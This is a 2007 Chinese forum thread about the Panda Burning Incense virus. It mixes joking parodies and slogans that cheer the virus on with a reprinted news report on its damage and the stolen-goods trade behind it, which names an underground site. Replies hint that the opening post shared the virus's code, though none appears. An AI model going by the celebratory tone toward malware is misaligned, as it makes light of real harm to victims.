让我们一起向国宝敬礼!
熊猫熊猫我爱你,就像老鼠爱大米

曾经有一份至真的香摆系我面前,我无去珍惜,等我中毒之后才知道后悔莫及,人世间最痛苦的事莫过于此。如果上天能够比我一个再来一次的机会,我会对个只熊猫讲三个字:我来烧。如果一定要系这份香上加上一个数字,我希望是......一万支!

黄健翔《伟大的熊猫烧香》版本

传染,好的,进去了,用户在操作,发作!发作!发作!熊猫烧香立功了,熊猫烧香立功了!不要给杀毒软件任何的机会。伟大的熊猫烧香!他继承了中国病毒的光荣的传统。ROSE、威金、橙色八月在这一刻灵魂附体,熊猫烧香一个病毒它代表了电脑病毒悠久的历史和传统,在这一刻它不是一个病毒在战斗,他不是一个病毒……

周星驰《月光宝盒》版本
曾经有一台电脑在互联网上裸跑,我没有珍惜,等到失去的时候才追悔莫及,人世间最痛苦的事情莫过于此。如果上天能够给我一个重新来过的机会,我会对那台电脑说三个字:“我来了”。如果非要给这份病毒上加一个期限,我希望是,一万年。

《天下无贼》版本
1、21世纪什么最宝贵?熊猫!
2、我可以负责任的告诉你,熊猫很生气,后果很严重!
3、这次熊猫一是锻炼队伍,二是不断变种
4、谁是熊猫?是熊猫给我站出来,你看没有熊猫站出来,这里没有熊猫。
5、姓熊猫名烧香,熊猫烧香
6、我最烦你们这些熊猫的了,一点儿技术含量都没有。

《大腕》版本
一定得选最嚣张的裸跑电脑,雇国产程序员,编就得编最高档次的病毒,病毒直接入户,户型最小也得几个局域网,什么宽带呀,光缆呀,卫星呀,能给他接的全给他接上,电脑里有熊猫的,网上有病毒的,还得有一个防火墙,戴假发,特绅士的那种,电脑一上网,甭管有事(儿)没事(儿)都得跟人家说,may i help you sir ,一口地道的国产病毒腔(儿) ,倍(儿)有面子,网里再建一所病毒库,病毒用国产的,一年光病毒开发就得几万美金,再建一所病毒变种所 ,二十四小时传播,就是一个字(儿)毒,周围的病毒不是开宝马就是开奔驰,你要是开一日本车呀,你都不好意思跟人家打招呼,你说这样的病毒,一克拉卖多少钱,我觉得怎么着也得两千美金吧!两千美金?那是成本,四千美金起,你别嫌贵 还不打折,你得研究裸跑电脑的心理,愿意掏两千美金买病毒的业主,根本不在乎再多掏两千,什么叫成功人士 你知道吗?成功人士就是买什么东西,都买最贵的 不买最好的,所以,我们做病毒的口号(儿)就是,不求最好,但求最贵
山东小老汉 - 2007-1-30 12:52:00
近期疯狂肆虐互联网的“熊猫烧香”病毒让超过百万的网民深受其害,有电脑受到严重破坏的网友更公开发出帖子称,将悬赏10万美元通缉“熊猫烧香”病毒的作者,得到九成以上网友的热烈响应。

  “就在很多人怀疑熊猫烧香病毒是一个15岁武汉男孩制作的时候,它背后的黑势力近日已经现身,网上已经发现了产销一条龙盗窃销售网游设备的产业链。”前日,江民公司反病毒工程师称,已发现“熊猫烧香”病毒幕后势力的痕迹。

  据江民等反病毒公司人员介绍,“熊猫烧香”病毒从去年12月份大规模爆发至今,已经使上百万网友受害。该公司每天都接到大量的求助电话。据悉受此病毒危害最为严重的是一些网吧业主,近千台电脑集体瘫痪,直接损失30多万元,让他们“杀人的心都有”。

  网吧受灾最严重

  在反病毒公司接连发布病毒紧急警报后,国家计算机病毒应急处理中心也发布了病毒预警,“可惜两次病毒警报并没有引起人们的足够重视”。反病毒专家何公道表示。

  近日有不少网友表示要团结起来捉拿病毒作者,更有甚者公开发出通缉令并悬赏10万美元。该举动在我国互联网和反病毒历史上都是首次,引起了各方关注。

  病毒产业链现身

  江民公司反病毒工程师向新京报记者展示的一份证据显示,在他们截获的病毒中,已经发现“熊猫烧香”的作者通过http://www.feifeicqq.com等几家地下网站公开销售网络游戏的装备,“他们这些网站可以称为是盗号、买卖一条龙,现在看来‘熊猫烧香’的背景远没有那么简单”,反病毒工程师称,只要病毒作者愿意,一年可以靠卖盗窃产品赚一座别墅。

  据了解,“熊猫烧香”本身就是一种下载程序,会在指定的网站下载后门、木马、各种盗号程序。目前已经转入盗销一条龙的几家网站已经有所警觉,几家网站都已经采取了应对措施。而之前,几家杀毒公司都已经向公安机关报案。

  病毒作者触犯法律

  据反病毒专家介绍,近期“熊猫烧香”的新变种中,病毒作者还在病毒体中留下了“超级巡警终于火了”的言论,因此有不少网友怀疑此次“熊猫烧香”病毒是由“超级巡警”软件提供方幕后推动。但该说法并未得到国内几家杀毒公司的肯定,称目前除了病毒体中的那句留言尚未有太多证据显示是该团体在幕后推动。

  自2005年以来,计算机病毒作者常常以获取经济利益为目标,之前出现的网银大盗、证券大盗、游戏大盗、QQ大盗等都是如此,而这些都已经触犯了我国的刑法。2006年5月“证券大盗”木马病毒作者一审被判无期徒刑,而“熊猫烧香”病毒的真相何时会水落石出,我们将继续关注。

  网友改《菊花台》苦中作乐

  前日,互联网上一首改编自《菊花台》的歌词,道出了众多网民面对“熊猫病毒”肆虐的无奈。

  “晚上机器崩溃了,临时装了系统可还是不稳定。”网友“顺利平安”说,“白天发现电脑根本无法运行了”。很多网民都有和“顺利平安”一样的遭遇。尽管网上出现了多种消灭该病毒的软件和具体操作方法,但“熊猫病毒”给网民造成了很大伤害。许多网民通宵采取应急措施,但仍无法修复被毁的电脑系统。有人将其称为“黑色恐怖”。

  就在大家焦头烂额之际,一首根据此次“熊猫烧香”病毒,改编自周杰伦的《菊花台》的歌词开始在网上流传。这篇恶搞歌词很形象地表现了众网民面对病毒的无奈和疲惫。除此之外,该病毒的卡通形象也被篡改。原本上香的熊猫突然两眼圆睁,吐露着舌头,下方是一句具有挑衅性的话———“毒的就是你”。

  改版《菊花台》

  “你的泪光,柔弱中带伤。满屏的熊猫香,删除过往。熊猫猖狂,点上三根香,是谁在电脑前冰冷的绝望。猫慢慢拜,暗黄色的香。我瘫坐椅子上,精神错乱,路在何方,谁为我思量,冷风吹乱憔悴模样。熊猫拜,三根香,你的笑容已泛黄。重装又重装,我心里在发慌。江民杀,瑞星除,你的影子剪不断,徒留我在机旁神伤。”

  网络通缉令

  凶手 熊猫烧香病毒
  陪你去看海  (2007-01-30 12:22:19)
诗词篇

床前明月光,熊猫在烧香
专杀杀不尽,两眼泪汪汪

宝剑锋自磨砺出,熊猫香自网上来。
身心俱疲终不悔,为猫消得人憔悴
熊猫烧不尽,关机开又生!


猫自网上病毒流,一处中招,两处愁。此毒无计可消除,才下眉头,却上心头.

日照香炉升紫烟,疑似熊猫在烧香

熊猫烧香何时了,中毒知多少?ghost昨夜又失踪,系统不堪回首缓慢中。文件程序应犹在,只是图标改。问君能有几多愁,恰似一江春水向东流。

熊猫烧香,唯有重装。何以解忧``惟有杜康

不在烧香中爆发,就在烧香中灭亡

广告词篇

熊猫以香为本
熊猫恒久远,烧香永流传。让我们做得更好。(飞利浦电子)
让熊猫烧得更香。传奇世界,无限可能。(盛大传奇世界经典宣传词)
熊猫烧香,死路一条。 只管去做。(耐克运动鞋)
让我们做得更好。(飞利浦电子)
让熊猫烧得更香。
传奇世界,无限可能。(盛大传奇世界经典宣传词)
熊猫烧香,死路一条。 桑塔纳:熊猫拥有桑塔纳走遍天下烧香都不怕
成功之路,从头开始。(飘柔)
熊猫之路,烧香开始。
今年过节,不烧香,不烧香呀不烧香!要烧只烧熊猫香呀!熊猫香呀熊猫香!
真诚到永远!(海尔电器)
烧香到崩溃!
不管白猫黑猫能烧香的就是好猫
美特斯熊猫,不烧巡常香
我要烧得更香~~~~~~~~烧得更香~~~~~~~~~~~~~~
黎叔很生气,后果很严重----天下无贼 熊猫很得意,烧香很勤快~~~~~~
烧自己的香,让别人去说吧!
白天烧一柱,不瞌睡;晚上再烧一柱,睡得香
钙中钙:现在的香啊,它含金量高,烧一柱顶过去五柱,方便!你瞧我,一口气烧上五柱,不费劲!
自从烧了香,瑞星没用了,金山也开不了,重装系统也没有劲了!

其他类
骑白马的不一定是王子,他可能是唐僧。
烧香的不一定是和尚,也可能是熊猫

教育要面向现代化,面向世界,面向未来。
烧香要面向互联网,面向世界,面向未来。

发展体育运动,增强人民体质,
发展熊猫烧香,增强网民素质。

让香烧得更猛烈一点吧!
让我们一起向国宝敬礼!
熊猫熊猫我爱你,就像老鼠爱大米

曾经有一份至真的香摆系我面前,我无去珍惜,等我中毒之后才知道后悔莫及,人世间最痛苦的事莫过于此。如果上天能够比我一个再来一次的机会,我会对个只熊猫讲三个字:我来烧。如果一定要系这份香上加上一个数字,我希望是......一万支!

黄健翔《伟大的熊猫烧香》版本

传染,好的,进去了,用户在操作,发作!发作!发作!熊猫烧香立功了,熊猫烧香立功了!不要给杀毒软件任何的机会。伟大的熊猫烧香!他继承了中国病毒的光荣的传统。ROSE、威金、橙色八月在这一刻灵魂附体,熊猫烧香一个病毒它代表了电脑病毒悠久的历史和传统,在这一刻它不是一个病毒在战斗,他不是一个病毒……

周星驰《月光宝盒》版本
曾经有一台电脑在互联网上裸跑,我没有珍惜,等到失去的时候才追悔莫及,人世间最痛苦的事情莫过于此。如果上天能够给我一个重新来过的机会,我会对那台电脑说三个字:“我来了”。如果非要给这份病毒上加一个期限,我希望是,一万年。

《天下无贼》版本
1、21世纪什么最宝贵?熊猫!
2、我可以负责任的告诉你,熊猫很生气,后果很严重!
3、这次熊猫一是锻炼队伍,二是不断变种
4、谁是熊猫?是熊猫给我站出来,你看没有熊猫站出来,这里没有熊猫。
5、姓熊猫名烧香,熊猫烧香
6、我最烦你们这些熊猫的了,一点儿技术含量都没有。

《大腕》版本
一定得选最嚣张的裸跑电脑,雇国产程序员,编就得编最高档次的病毒,病毒直接入户,户型最小也得几个局域网,什么宽带呀,光缆呀,卫星呀,能给他接的全给他接上,电脑里有熊猫的,网上有病毒的,还得有一个防火墙,戴假发,特绅士的那种,电脑一上网,甭管有事(儿)没事(儿)都得跟人家说,may i help you sir ,一口地道的国产病毒腔(儿) ,倍(儿)有面子,网里再建一所病毒库,病毒用国产的,一年光病毒开发就得几万美金,再建一所病毒变种所 ,二十四小时传播,就是一个字(儿)毒,周围的病毒不是开宝马就是开奔驰,你要是开一日本车呀,你都不好意思跟人家打招呼,你说这样的病毒,一克拉卖多少钱,我觉得怎么着也得两千美金吧!两千美金?那是成本,四千美金起,你别嫌贵 还不打折,你得研究裸跑电脑的心理,愿意掏两千美金买病毒的业主,根本不在乎再多掏两千,什么叫成功人士 你知道吗?成功人士就是买什么东西,都买最贵的 不买最好的,所以,我们做病毒的口号(儿)就是,不求最好,但求最贵
天上的路 - 2007-1-31 12:17:00
高手来的!不过我也没有学过DELPHI!虽然我是学计算机的,不过不是这方面的,只是网页编程那方面的,这个就看不懂,真的有种想学习这种语言的冲动!呵呵!
水蓝色氧气 - 2007-2-1 14:19:00
我是菜鸟,一个也看不懂啊
毒素 - 2007-2-1 17:26:00
代码收藏中...
灿烂小螃蟹 - 2007-2-2 10:44:00
学习他.以后我也要加入反病毒阵营,为民除害!!!
大致相同 - 2007-2-3 12:01:00
《菊花台》

  “你的泪光,柔弱中带伤。满屏的熊猫香,删除过往。熊猫猖狂,点上三根香,是谁在电脑前冰冷的绝望。猫慢慢拜,暗黄色的香。我瘫坐椅子上,精神错乱,路在何方,谁为我思量,冷风吹乱憔悴模样。熊猫拜,三根香,你的笑容已泛黄。重装又重装,我心里在发慌。江民杀,瑞星除,你的影子剪不断,徒留我在机旁神伤。”


经典阿
封神梦想 - 2007-2-3 12:49:00
不过,怎么说呢。现在这个社会就是这样的。你们说说看。如果没有病毒。那么。这些杀毒软件的厂商不就倒闭了吗!那么他们吃什么呀。不都靠这些做病毒的人吗!有了他们,反病毒厂商就能生存。他们是相否相成,缺一不可。这只是我个人认为的。不做什么理论.
锄头主人 - 2007-2-3 16:10:00
新手,关注一下
i小黑猪i - 2007-2-3 16:44:00
是啊高手啊
万里无翎 - 2007-2-3 17:34:00
菜鸟一个,看不懂
万恶我为首 - 2007-2-3 18:42:00
不错